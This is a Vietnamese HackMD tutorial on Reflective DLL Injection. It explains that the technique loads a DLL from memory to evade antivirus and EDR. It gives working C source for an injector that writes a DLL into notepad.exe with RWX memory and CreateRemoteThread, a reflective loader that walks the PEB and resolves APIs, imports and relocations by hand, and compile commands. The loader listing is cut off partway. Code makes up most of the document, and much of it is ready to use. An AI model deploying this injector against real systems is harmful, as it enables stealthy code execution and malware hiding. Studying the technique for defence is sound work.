owned this note
owned this note
Published
Linked with GitHub
---
tags: [Technique]
---
# Reflective DLL Injection
## Lời nói đầu
* Trong bài viết trước, mình đã giới thiệu về kỹ thuật **[Classic DLL Injection](https://hackmd.io/jgmfy-wxRQW2v_gVBT5M-A?view)**. Nó khá đơn giản, dễ hiểu, dễ triển khai, tuy nhiên tồn tại nhiều điểm yếu và khó qua mặt được các **AV** do phụ thuộc vào **DLL** trên disk và **API** `LoadLibrary()`.
* **Reflective DLL Injection** sinh ra có thể được coi là biến thể nâng cao hơn hẳn so với **Classic DLL Injection**, khi nó chèn trực tiếp **DLL** nhận từ **C&C server** hoặc **DLL** có sẵn trên `resource section` vào **target process**. Tức là **DLL** tự nạp chính nó vào `process` mà không cần **Windows Loader**.
* Dù cải tiến hơn rất nhiều như vậy, nhưng **Reflective DLL Injection** lại khó thực hiện hơn, bởi vì khi ta không dùng **Windows Loader** thì bản chất con **DLL** lúc này là **Raw DLL** (**DLL** được nạp vào `memory` dưới dạng thô (`raw`) thay vì qua **Windows Loader**) nên các công việc như phân giải địa chỉ trong bảng **IAT**, **relocation**,... ta phải tự làm thay cho **Windows Loader**. Tức là ta phải tự code 1 con **Loader** hoàn chỉnh chèn trong **Raw DLL**.
* Điểm mấu chốt là trong **DLL** có chứa một hàm `ReflectiveLoader`. Khi được đưa vào bộ nhớ của **target process**, hàm này sẽ tự thực hiện công việc của **Windows Loader**: tìm `base address`, xử lý `relocation`, resolve `import table`, sau đó gọi **DllMain**.
## So sánh Classic DLL Injection và Reflective DLL Injection
| **Tiêu chí** | **Reflective DLL Injection** | **DLL Injection thông thường** |
|-------------------------|-----------------------------------------------------------------------------------------------|-----------------------------------------------------------------|
| **Cách thức hoạt động** | **DLL** tự nạp vào bộ nhớ tiến trình mà không cần sự trợ giúp của hệ điều hành | Hệ điều hành xử lý việc nạp **DLL** vào bộ nhớ |
| **API sử dụng** | `VirtualAlloc`, `WriteProcessMemory`, `CreateRemoteThread`,`Nt* APIs` | `LoadLibrary`, `GetProcAddress` |
| **Khả năng ẩn dấu** | Cao, do không ghi nhận trong danh sách **DLL** của tiến trình (`PEB->Ldr`) | Thấp, dễ bị phát hiện bởi các công cụ phân tích tiến trình |
| **Yêu cầu đặc biệt** | Cần có mã **Reflective Loader** trong **DLL** | Không yêu cầu |
| **Relocation** | Cần tự xử lý **Relocation Table** nếu cần | **Windows** tự động xử lý |
| **Xử lý Import Table** | Phải tự xử lý các import | **Windows** tự động xử lý |
## Ứng dụng của Reflective DLL Injection
### Ứng dụng hợp pháp
* **Debugging & Reverse Engineering**: Chèn mã vào tiến trình đang chạy để phân tích hành vi phần mềm hoặc mã độc.
* **Hooking API**: Theo dõi hoặc thay đổi hành vi **API** mà không cần chỉnh sửa file gốc.
* **Anti-Debugging**: Hỗ trợ kiểm tra tình trạng bị debug bằng cách dùng **API** như `CheckRemoteDebuggerPresent`.
### Ứng dụng trong khai thác
* **Malware & Rootkits**: Tải mã độc vào tiến trình hợp lệ, giúp né tránh phát hiện bởi **AV/EDR**.
* **Khai thác lỗ hổng**: Thực thi mã tùy chỉnh trên hệ thống mục tiêu mà không cần ghi ra disk → giảm dấu vết.
# Mô hình triển khai
* Mình có chuẩn bị 1 vài hình ảnh, mục đích là để mọi người có cái nhìn trực quan hơn về kỹ thuật.
* Cơ chế hoạt động của kỹ thuật **Reflective Dll Injection**:

* Mô hình **Injector**:

* Mô hình **Reflective Loader**:

# Các bước thực hiện kỹ thuật Reflective DLL Injection
## PE Injector
### 1. Theo dõi tiến trình đích (target process)
* **Injector** duyệt qua danh sách tiến trình đang chạy bằng `CreateToolhelp32Snapshot()` và `PROCESSENTRY32`.
* Khi tìm thấy tiến trình có tên trùng với `target` (ví dụ: `notepad.exe`), hàm `customGetProcID()` sẽ trả về `PID`.
```py
DWORD customGetProcID(const wchar_t* name) {
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (!Process32FirstW(hSnap, &pe32)) {
CloseHandle(hSnap);
return 0;
}
do {
if (!lstrcmpiW(pe32.szExeFile, name)) {
CloseHandle(hSnap);
return pe32.th32ProcessID;
}
} while (Process32NextW(hSnap, &pe32));
CloseHandle(hSnap);
return 0;
}
```
### 2. Mở tiến trình đích và chuẩn bị vùng nhớ
* Sử dụng `OpenProcess()` với quyền cần thiết:
```py
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
```
* Dùng `VirtualAllocEx()` để cấp phát bộ nhớ trong tiến trình target, với quyền **PAGE_EXECUTE_READWRITE** (cho phép ghi + thực thi).
* Sau đó, **injector** ghi dữ liệu **DLL** (hoặc `raw DLL`) vào vùng nhớ này bằng `WriteProcessMemory()`.
```py
DWORD dwProcessId = customGetProcID(TARGET_BINARY);
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE
| PROCESS_VM_READ, FALSE, dwProcessId);
LPVOID lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL,
fileLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
```
### 3. Xác định địa chỉ hàm ReflectiveLoader
* Để **DLL** có thể tự khởi tạo, **injector** cần tìm `offset` của hàm `ReflectiveLoader()` trong file **DLL**. Việc này dựa trên **Export Table** của **PE**:
* **Export Table** nằm trong **IMAGE_EXPORT_DIRECTORY**:

* Hàm `GetReflectiveLoaderOffset()` sẽ duyệt qua danh sách `export` (sử dụng `AddressOfNames`, `AddressOfFunctions`, `AddressOfNameOrdinals`) và so khớp tên hàm ``"ReflectiveLoader"``.
* Khi tìm thấy, ta lấy `RVA` rồi chuyển sang `offset` trong file bằng công thức:
* `VA = RVA + ImageBase`
* `Offset = RVA – VirtualAddress + PointerToRawData`
```py
DWORD Rva2Offset(DWORD dwRVA, ULONG_PTR uiBaseAddress) {
PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
PIMAGE_SECTION_HEADER pSectionHdr = IMAGE_FIRST_SECTION(pNtHdr);
for (WORD i = 0; i < pNtHdr->FileHeader.NumberOfSections; i++, pSectionHdr++) {
DWORD sectVA = pSectionHdr->VirtualAddress;
DWORD sectSize = pSectionHdr->Misc.VirtualSize;
if (dwRVA >= sectVA && dwRVA < (sectVA + sectSize)) {
return dwRVA - sectVA + pSectionHdr->PointerToRawData;
}
}
return 0;
}
DWORD GetReflectiveLoaderOffset(LPVOID lpReflectiveDllBuffer) {
ULONG_PTR uiBaseAddress = (ULONG_PTR)lpReflectiveDllBuffer;
PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
DWORD exportRVA = pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
ULONG_PTR uiExportDir = uiBaseAddress + Rva2Offset(exportRVA, uiBaseAddress);
PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)uiExportDir;
DWORD* nameArray = (DWORD*)(uiBaseAddress + Rva2Offset(pExportDir->AddressOfNames, uiBaseAddress));
DWORD* funcArray = (DWORD*)(uiBaseAddress + Rva2Offset(pExportDir->AddressOfFunctions, uiBaseAddress));
WORD* ordinalsArray = (WORD*)(uiBaseAddress + Rva2Offset(pExportDir->AddressOfNameOrdinals, uiBaseAddress));
DWORD numNames = pExportDir->NumberOfNames;
for (DWORD i = 0; i < numNames; i++) {
char* funcName = (char*)(uiBaseAddress + Rva2Offset(nameArray[i], uiBaseAddress));
if (strstr(funcName, "ReflectiveLoader") != NULL) {
WORD funcIndex = ordinalsArray[i];
DWORD reflectiveLoaderRVA = funcArray[funcIndex];
return Rva2Offset(reflectiveLoaderRVA, uiBaseAddress);
}
}
return 0;
}
```
* Do quá trình này khá phức tạp, một số kỹ thuật khác chọn cách `pattern matching` trực tiếp trong `raw DLL` để tìm **ReflectiveLoader** thay vì parse đầy đủ **Export Table**.

## Reflective Loader
* **ReflectiveLoader** có nhiệm vụ nạp **DLL** thô (`raw DLL`) sau khi được inject vào bộ nhớ của tiến trình đích. Khác với cách thông thường dùng `LoadLibrary()`, **ReflectiveLoader** thực hiện `manual loading`: tự xử lý **PE Header**, copy các `section`, phân giải **Import Address Table** (`IAT`) và áp dụng **Relocation** trước khi gọi **DllMain**.
* Đặc điểm quan trọng:
* Trong giai đoạn đầu, **ReflectiveLoader** được coi như `shellcode`: nó không thể phụ thuộc trực tiếp vào **IAT** hay **Relocation** vì các cấu trúc này chưa được khởi tạo.
* Do đó, mọi hàm cần thiết như `LoadLibrary()`, `VirtualAlloc()`, `GetProcAddress()`, … phải được resolve thủ công.
### 1. Tìm base address
* Bước đầu tiên của **ReflectiveLoader** là xác định `base address` của chính **DLL** đang được nạp.
* Bắt đầu từ một địa chỉ bất kỳ trong module (thường là `return address` từ `caller`).
* Duyệt ngược về trước trong bộ nhớ cho đến khi tìm thấy **DOS signature** (`MZ`).
* Từ đó, kiểm tra trường `e_lfanew` để lấy vị trí **NT Header**.
* Nếu **NT Header** hợp lệ (có `signature` `PE\0\0`), địa chỉ này chính là `base address` (`LibraryAddress`) cần tìm.
```py
ULONG_PTR uiLibraryAddress = caller();
while (TRUE)
{
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
{
uiHeaderValue += uiLibraryAddress;
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
break;
}
}
uiLibraryAddress--;
}
```
### 2. Resolve API
* **Loader** không thể dựa vào **IAT** nên phải tự lấy địa chỉ các **API**.
* **Bước 1**: Dùng `__readgsqword(0x60)` để lấy địa chỉ **PEB** thông qua **TEB**.
```py
ULONG_PTR uiBaseAddress = __readgsqword(0x60);
LIST_ENTRY* moduleList = &((PEB*)(uiBaseAddress))->Ldr->InMemoryOrderModuleList;
LIST_ENTRY* ptr = moduleList->Flink;
```
* **Bước 2**: Truy cập `PEB->Ldr->InMemoryOrderModuleList` để duyệt qua danh sách **DLL** đã load. So sánh tên để tìm `base address` của `kernel32.dll` và `ntdll.dll`.
```py
typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
PVOID EntryPoint;
PVOID Reserved3;
UNICODE_STRING FullDllName;
BYTE Reserved4[8];
PVOID Reserved5[3];
union {
ULONG CheckSum;
PVOID Reserved6;
};
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
while (ptr != moduleList && (uiModuleBaseKernel32 == NULL || uiModuleBaseNtdll == NULL))
{
LDR_DATA_TABLE_ENTRY* module = (LDR_DATA_TABLE_ENTRY*)ptr;
wchar_t* moduleName = module->FullDllName.Buffer;
if (moduleName && moduleName[0] == 'K' && moduleName[1] == 'E' && moduleName[2] == 'R' && moduleName[3] == 'N' &&
moduleName[4] == 'E' && moduleName[5] == 'L' && moduleName[6] == '3' && moduleName[7] == '2' &&
moduleName[8] == '.' && moduleName[9] == 'D' && moduleName[10] == 'L' && moduleName[11] == 'L')
uiModuleBaseKernel32 = (HMODULE)(module->DllBase);
else if (moduleName && moduleName[0] == 'n' && moduleName[1] == 't' && moduleName[2] == 'd' && moduleName[3] == 'l' &&
moduleName[4] == 'l' && moduleName[5] == '.' && moduleName[6] == 'd' && moduleName[7] == 'l' && moduleName[8] == 'l')
uiModuleBaseNtdll = (HMODULE)(module->DllBase);
ptr = ptr->Flink;
}
```
* **Bước 3**: Với `base address` của **DLL**, đọc **Export Table** trong **PE header** để lấy danh sách tên hàm. Duyệt `export`, so sánh chuỗi để tìm địa chỉ của `VirtualAlloc`, `GetProcAddress`, `LoadLibraryA`.
```py
while (!ptrVirtualAlloc || !ptrGetProcAddress || !ptrLoadLibraryA)
{
IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)uiModuleBaseKernel32;
IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)((BYTE*)uiModuleBaseKernel32 + dosHeader->e_lfanew);
IMAGE_EXPORT_DIRECTORY* exportDirectory = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)uiModuleBaseKernel32 +
ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* nameArray = (DWORD*)((BYTE*)uiModuleBaseKernel32 + exportDirectory->AddressOfNames);
WORD* ordinalArray = (WORD*)((BYTE*)uiModuleBaseKernel32 + exportDirectory->AddressOfNameOrdinals);
DWORD* funcArray = (DWORD*)((BYTE*)uiModuleBaseKernel32 + exportDirectory->AddressOfFunctions);
for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i)
{
char* funcName = (char*)((BYTE*)uiModuleBaseKernel32 + nameArray[i]);
if (!ptrVirtualAlloc && funcName[0] == 'V' && funcName[1] == 'i' && funcName[2] == 'r' && funcName[3] == 't' &&
funcName[4] == 'u' && funcName[5] == 'a' && funcName[6] == 'l' && funcName[7] == 'A' &&
funcName[8] == 'l' && funcName[9] == 'l' && funcName[10] == 'o' && funcName[11] == 'c')
ptrVirtualAlloc = (pVirtualAlloc)((FARPROC)((BYTE*)uiModuleBaseKernel32 + funcArray[ordinalArray[i]]));
else if (!ptrGetProcAddress && funcName[0] == 'G' && funcName[1] == 'e' && funcName[2] == 't' &&
funcName[3] == 'P' && funcName[4] == 'r' && funcName[5] == 'o' && funcName[6] == 'c' &&
funcName[7] == 'A' && funcName[8] == 'd' && funcName[9] == 'd' && funcName[10] == 'r' &&
funcName[11] == 'e' && funcName[12] == 's' && funcName[13] == 's')
ptrGetProcAddress = (pGetProcAddress)((FARPROC)((BYTE*)uiModuleBaseKernel32 + funcArray[ordinalArray[i]]));
else if (!ptrLoadLibraryA && funcName[0] == 'L' && funcName[1] == 'o' && funcName[2] == 'a' &&
funcName[3] == 'd' && funcName[4] == 'L' && funcName[5] == 'i' && funcName[6] == 'b' &&
funcName[7] == 'r' && funcName[8] == 'a' && funcName[9] == 'r' && funcName[10] == 'y' && funcName[11] == 'A')
ptrLoadLibraryA = (pLoadLibraryA)((FARPROC)((BYTE*)uiModuleBaseKernel32 + funcArray[ordinalArray[i]]));
}
}
```
### 3. Cấp bộ nhớ và ánh xạ nội dung DLL
* **Bước 1**: Gọi `VirtualAlloc` để cấp phát phân vùng đủ chứa toàn bộ **DLL** với quyền đọc/ghi/thực thi.
```python
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
uiBaseAddress = (ULONG_PTR)ptrVirtualAlloc(
NULL,
((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
```
* **Bước 2**: Sao chép toàn bộ **PE Header** vào vùng nhớ vừa cấp.
```py
ULONG_PTR uiSizeOfHeaders = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
ULONG_PTR uiCurPtrToRawDll = uiLibraryAddress;
ULONG_PTR uiNewPtrOfDll = uiBaseAddress;
while (uiSizeOfHeaders--)
*(BYTE*)uiNewPtrOfDll++ = *(BYTE*)uiCurPtrToRawDll++;
```
* **Bước 3**: Lặp qua từng `section`, sao chép dữ liệu từ file sang đúng địa chỉ ảo (`VirtualAddress`) trong vùng nhớ. Mục đích nhằm bỏ qua một khoảng byte **NULL** tương
ứng với việc padding cho khớp với `section alignment`.
```py
uiCurPtrToRawDll = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader +
((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
WORD uiNumberOfSections = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while (uiNumberOfSections--)
{
ULONG_PTR curPtrToVAddOfSection = (uiBaseAddress +
((PIMAGE_SECTION_HEADER)uiCurPtrToRawDll)->VirtualAddress);
ULONG_PTR sectionRawData = uiLibraryAddress +
((PIMAGE_SECTION_HEADER)uiCurPtrToRawDll)->PointerToRawData;
ULONG_PTR sizeOfCurSection = ((PIMAGE_SECTION_HEADER)uiCurPtrToRawDll)->SizeOfRawData;
while (sizeOfCurSection--)
{
*(BYTE*)curPtrToVAddOfSection++ = *(BYTE*)sectionRawData++;
}
uiCurPtrToRawDll += sizeof(IMAGE_SECTION_HEADER);
}
```
### 4. Phân giải IAT
* Lấy địa chỉ `IMAGE_IMPORT_DESCRIPTOR` từ **Import Directory** trong **PE Header**.
* Với mỗi **DLL** trong **Import Table**, gọi `LoadLibraryA()` để nạp **DLL** cần thiết.
* Với mỗi hàm trong **DLL** đó, gọi `GetProcAddress()` để lấy địa chỉ.
* Ghi trực tiếp địa chỉ **API** vừa tìm được vào **IAT**.
```py
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor =
(PIMAGE_IMPORT_DESCRIPTOR)(uiBaseAddress +
((PIMAGE_NT_HEADERS)uiHeaderValue)->
OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (pImportDescriptor->Name)
{
HMODULE hModule = ptrLoadLibraryA((LPCSTR)(uiBaseAddress + pImportDescriptor->Name));
PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)(uiBaseAddress + pImportDescriptor->FirstThunk);
while (pThunk->u1.AddressOfData)
{
PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(uiBaseAddress + pThunk->u1.AddressOfData);
FARPROC pFunc = ptrGetProcAddress(hModule, (LPCSTR)(pImportByName->Name));
if (pFunc)
{
pThunk->u1.Function = (ULONGLONG)pFunc;
}
pThunk++;
}
pImportDescriptor++;
}
```

### 5. Relocation
* **Relocation Table** chứa danh sách địa chỉ trong **DLL** cần chỉnh sửa nếu **DLL** không được load đúng tại địa chỉ mặc định (`ImageBase`). Khi **DLL** được load ở `base address` mới, giá trị này được relocation theo công thức:
```py
NewVirtualAddress = OldVirtualAddress + (NewImageBase − PreferredBase)
```
* Cách làm:
* Lấy **Base Relocation Table** trong **PE header**.
* Duyệt qua từng block `relocation`.
* Với mỗi `entry`, kiểm tra kiểu (`IMAGE_REL_BASED_DIR64`, `HIGHLOW`, `HIGH`, `LOW`).
* Chỉnh sửa địa chỉ tương ứng bằng chênh lệch giữa `uiBaseAddress` và `ImageBase` gốc.
```py
PIMAGE_DATA_DIRECTORY baseRelocAddress =
(PIMAGE_DATA_DIRECTORY)&((PIMAGE_NT_HEADERS)uiHeaderValue)->
OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (baseRelocAddress->Size)
{
PIMAGE_BASE_RELOCATION vaBaseRelocTable =
(PIMAGE_BASE_RELOCATION)(uiBaseAddress + baseRelocAddress->
VirtualAddress);
while (vaBaseRelocTable->SizeOfBlock)
{
ULONG_PTR vaCurRelocBlock = uiBaseAddress +
vaBaseRelocTable->VirtualAddress;
PIMAGE_RELOCATION RelocBlock =
(PIMAGE_RELOCATION)((ULONG_PTR)vaBaseRelocTable +
sizeof(IMAGE_BASE_RELOCATION));
for (DWORD i = 0; i < vaBaseRelocTable->SizeOfBlock -
sizeof(IMAGE_BASE_RELOCATION) / sizeof(DWORD); i++)
{
if (RelocBlock->Type == IMAGE_REL_BASED_DIR64)
*(ULONG_PTR*)(vaCurRelocBlock + RelocBlock->
VirtualAddress) += uiBaseAddress -
((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
else if (RelocBlock->Type ==
IMAGE_REL_BASED_HIGHLOW)
*(ULONG_PTR*)(vaCurRelocBlock + RelocBlock->
VirtualAddress) += uiBaseAddress -
((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
else if (RelocBlock->Type == IMAGE_REL_BASED_HIGH)
*(ULONG_PTR*)(vaCurRelocBlock + RelocBlock->
VirtualAddress) += uiBaseAddress -
((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
else if (RelocBlock->Type == IMAGE_REL_BASED_LOW)
*(ULONG_PTR*)(vaCurRelocBlock + RelocBlock->
VirtualAddress) += uiBaseAddress -
((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
RelocBlock += 1;
}
vaBaseRelocTable = vaBaseRelocTable + vaBaseRelocTable->
SizeOfBlock;
}
}
```
### 6. Thực thi DllMain
* Sau khi nạp **DLL**, cần thực thi **DllMain** tại địa chỉ `entry point`. Địa chỉ này lấy từ trường `AddressOfEntryPoint` trong `OptionalHeader`.
* Trước khi gọi **DllMain**, phải gọi `NtFlushInstructionCache` để đồng bộ hóa cache **CPU** với bộ nhớ, đảm bảo các thay đổi trong vùng bộ nhớ thực thi được cập nhật đầy đủ.
```py
ptrNtFlushInstructionCache((HANDLE)-1, NULL, 0);
ULONG_PTR dllMain = uiBaseAddress + ((PIMAGE_NT_HEADERS)
uiHeaderValue)->OptionalHeader.AddressOfEntryPoint;
((DLLMAIN)dllMain)((HINSTANCE)uiBaseAddress,
DLL_PROCESS_ATTACH, NULL);
```
## Full code...
### PE Injector
```py
#include <windows.h>
#include <tlhelp32.h>
#include <string>
DWORD customGetProcID(const wchar_t* name) {
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (!Process32FirstW(hSnap, &pe32)) {
CloseHandle(hSnap);
return 0;
}
do {
if (!lstrcmpiW(pe32.szExeFile, name)) {
CloseHandle(hSnap);
return pe32.th32ProcessID;
}
} while (Process32NextW(hSnap, &pe32));
CloseHandle(hSnap);
return 0;
}
DWORD Rva2Offset(DWORD dwRVA, ULONG_PTR uiBaseAddress) {
PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
PIMAGE_SECTION_HEADER pSectionHdr = IMAGE_FIRST_SECTION(pNtHdr);
for (WORD i = 0; i < pNtHdr->FileHeader.NumberOfSections; i++, pSectionHdr++) {
DWORD sectVA = pSectionHdr->VirtualAddress;
DWORD sectSize = pSectionHdr->Misc.VirtualSize;
if (dwRVA >= sectVA && dwRVA < (sectVA + sectSize)) {
return dwRVA - sectVA + pSectionHdr->PointerToRawData;
}
}
return 0;
}
DWORD GetReflectiveLoaderOffset(LPVOID lpReflectiveDllBuffer) {
ULONG_PTR uiBaseAddress = (ULONG_PTR)lpReflectiveDllBuffer;
PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
DWORD exportRVA = pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
ULONG_PTR uiExportDir = uiBaseAddress + Rva2Offset(exportRVA, uiBaseAddress);
PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)uiExportDir;
DWORD* nameArray = (DWORD*)(uiBaseAddress + Rva2Offset(pExportDir->AddressOfNames, uiBaseAddress));
DWORD* funcArray = (DWORD*)(uiBaseAddress + Rva2Offset(pExportDir->AddressOfFunctions, uiBaseAddress));
WORD* ordinalsArray = (WORD*)(uiBaseAddress + Rva2Offset(pExportDir->AddressOfNameOrdinals, uiBaseAddress));
DWORD numNames = pExportDir->NumberOfNames;
for (DWORD i = 0; i < numNames; i++) {
char* funcName = (char*)(uiBaseAddress + Rva2Offset(nameArray[i], uiBaseAddress));
if (strstr(funcName, "ReflectiveLoader") != NULL) {
WORD funcIndex = ordinalsArray[i];
DWORD reflectiveLoaderRVA = funcArray[funcIndex];
return Rva2Offset(reflectiveLoaderRVA, uiBaseAddress);
}
}
return 0;
}
int main() {
const wchar_t* TARGET_BINARY = L"notepad.exe";
HANDLE hFile = CreateFileW(L"ReflectiveLoader.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
DWORD fileLength = GetFileSize(hFile, NULL);
LPVOID lpFileBuffer = HeapAlloc(GetProcessHeap(), 0, fileLength);
DWORD bytesRead;
ReadFile(hFile, lpFileBuffer, fileLength, &bytesRead, NULL);
CloseHandle(hFile);
DWORD dwProcessId = customGetProcID(TARGET_BINARY);
if (!dwProcessId) {
MessageBoxA(NULL, "Process not found!", "Error", MB_OK);
return 1;
}
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId);
LPVOID lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, fileLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpFileBuffer, fileLength, NULL);
DWORD dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpFileBuffer);
LPTHREAD_START_ROUTINE lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, lpRemoteLibraryBuffer, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
char buf[512];
char targetName[260];
wcstombs_s(NULL, targetName, TARGET_BINARY, _TRUNCATE);
sprintf_s(buf, "Injection complete!\n\nTarget Process: %s\n\nTarget PID: %lu", targetName, dwProcessId);
MessageBoxA(NULL, buf, "Information", MB_OK);
CloseHandle(hThread);
CloseHandle(hProcess);
HeapFree(GetProcessHeap(), 0, lpFileBuffer);
return 0;
}
```
* Để compile thì mở `x64 Native Tools Command Prompt for VS 2022` hoặc `x86 Native Tools Command Prompt for VS 2022` tùy mục đích phiên bản, đến đúng đường dẫn và
`cl /nologo /O2 injector.cpp /Fe:injector.exe user32.lib` nhaaa.
### Reflective Loader
```py
#include <Windows.h>
#include <intrin.h>
#pragma intrinsic(_ReturnAddress)
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
} PEB, * PPEB;
typedef struct _IMAGE_RELOC {
USHORT Offset : 12;
USHORT Type : 4;
} IMAGE_RELOC, * PIMAGE_RELOC;
typedef LPVOID(WINAPI* pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef HMODULE(WINAPI* pLoadLibraryA)(LPCSTR);
typedef BOOL(WINAPI* pNtFlushInstructionCache)(HANDLE, LPCVOID, SIZE_T);
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
extern "C" __declspec(dllexport) void ReflectiveLoader()
{
ULONG_PTR uiLibraryAddress, uiHeaderValue, uiBaseAddress;
pVirtualAlloc ptrVirtualAlloc = NULL;
pGetProcAddress ptrGetProcAddress = NULL;
pLoadLibraryA ptrLoadLibraryA = NULL;
pNtFlushInstructionCache ptrNtFlushInstructionCache = NULL;
uiLibraryAddress = (ULONG_PTR)_ReturnAddress();
while (TRUE)
{
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
{
uiHeaderValue += uiLibraryAddress;
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
break;
}
}
uiLibraryAddress--;
}
ULONG_PTR uiPeb = __readgsqword(0x60);
LIST_ENTRY* moduleList = &((PEB*)uiPeb)->Ldr->InMemoryOrderModuleList;
LIST_ENTRY* ptr = moduleList->Flink;
HMODULE uiModuleBaseKernel32 = NULL, uiModuleBaseNtdll = NULL;
typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
PVOID EntryPoint;
PVOID Reserved3;
UNICODE_STRING FullDllName;
BYTE Reserved4[8];
PVOID Reserved5[3];
union {
ULONG CheckSum;
PVOID Reserved6;
};
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
while (ptr != moduleList && (uiModuleBaseKernel32 == NULL || uiModuleBaseNtdll == NULL))
{
LDR_DATA_TABLE_ENTRY* module = (LDR_DATA_TABLE_ENTRY*)ptr;
